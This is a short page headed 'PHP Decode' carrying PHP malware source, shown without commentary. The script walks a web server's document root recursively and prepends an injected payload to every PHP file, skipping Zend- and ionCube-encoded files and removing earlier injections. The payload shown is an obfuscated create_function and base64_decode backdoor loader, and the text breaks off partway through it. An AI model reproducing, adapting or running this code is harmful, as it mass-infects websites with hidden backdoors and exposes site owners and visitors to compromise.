PHP Decode

<? 
set_time_limit(0); 
 
function do_it($f,$inj){ 
 
	global 	$totalinjected; 
 
 
	$c = file_get_contents($f); 
 
	if (stristr($c,"zend")) return; 
 
	if (stristr($c,"ioncube")) return; 
 
	$s1=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(47).chr(42).chr(42).chr(47); 
 
	$s3=substr($c,0,10); 
 
	$s2=chr(63).chr(62); 
 
 
	if ($s3==$s1){ 
 
		$k=strpos($c,$s2); 
 
		$k=$k+2; 
 
		$c=substr($c,$k); 
 
	} 
 
 
	$c = $inj.$c; 
 
	$h2 = @fopen ($f, "w"); 
	 
	@fwrite($h2, $c); 
	 
	@fclose($h2);  
 
 
	$totalinjected++; 
 
	return 0; 
} 
 
function do_folder($dir){ 
 
	global $encoded; 
 
	$folders=array(); 
 
	if (is_dir($dir)) { 
 
		if ($dh = opendir($dir)) { 
 
			while (($file = readdir($dh)) !== false) { 
 
				if (($file==".")||($file==".."))continue; 
 
				 
				$k=$dir."/".$file; 
 
				if (is_dir($k)){ 
 
					array_push($folders,$k); 
 
				}else{ 
 
					if (is_file($k)){ 
 
						$ext=explode(".",$k); 
 
						$c=count($ext)-1; 
 
						if (strtolower($ext[$c])=="php"){ 
 
							do_it($k,$encoded."
"); 
 
						} 
 
					} 
 
 
				} 
 
			} 
 
			@closedir($dh); 
 
		} 
 
	} 
 
	reset($folders); 
 
	foreach($folders as $k){ 
 
		echo "Going subfolder $k
"; 
 
		do_folder($k); 
 
	} 
	 
	return 0; 
	 
} 
 
 
$z=$_SERVER["DOCUMENT_ROOT"]; 
 
$encoded='<'.'?php /**/ $_8b7b="create_function";$_8b7b1f="base64_decode";$_8b7b1f56=$_8b7b ?>